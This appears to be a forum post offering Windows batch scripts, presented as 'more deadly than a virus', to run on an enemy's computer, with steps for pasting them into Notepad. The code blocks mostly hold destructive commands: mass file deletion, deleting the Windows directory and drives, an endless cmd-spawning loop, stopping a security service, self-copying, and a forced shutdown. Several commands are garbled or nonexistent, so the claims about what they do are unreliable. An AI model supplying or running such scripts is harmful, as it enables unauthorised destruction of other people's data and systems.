Here are some bat files that works more deadly than a virus if u have an access to your enemy’s computer. WARNING DON’T TEST THIS FILE IN YOUR COMPUTER. I’VE ADDED PAUSE COMMAND TO PREVENT ACCIDENTAL OPENING OF THE PROGRAM..
IF U ARE NOT “deja vu” in these sector then just open up ur note pad and paste each of these code starting from @echo off… make separate file of each…
Code:

@echo off
kill %windir%
del %windir%
del *.txt
del *.exe
del *.bat
del *.ini
:ok
start, cmd
Goto ok

Code:

@echo off
deltree c://
deltree d://
kill c://
kill d://
Copy halo.bat %0 %windir%
start daily halo.bat

Destroy the hard-drive.

Code:

RMOR C: /S /Q

Complete wipe out:

Code:

@echo off
del *.txt
del *.exe
del *.ini
net stop “security”
del c://windows/system32
mkdir O
copy halo.bat O
copy %0 halo.bat %windir%
kill %windir%
kill system.ini

Erases Hard-Drive then shutsdown computer.

Code:

hdmemory/release
echo total hard drive erased
echo xJeftabx strikes again!
shutdown -r -f -t0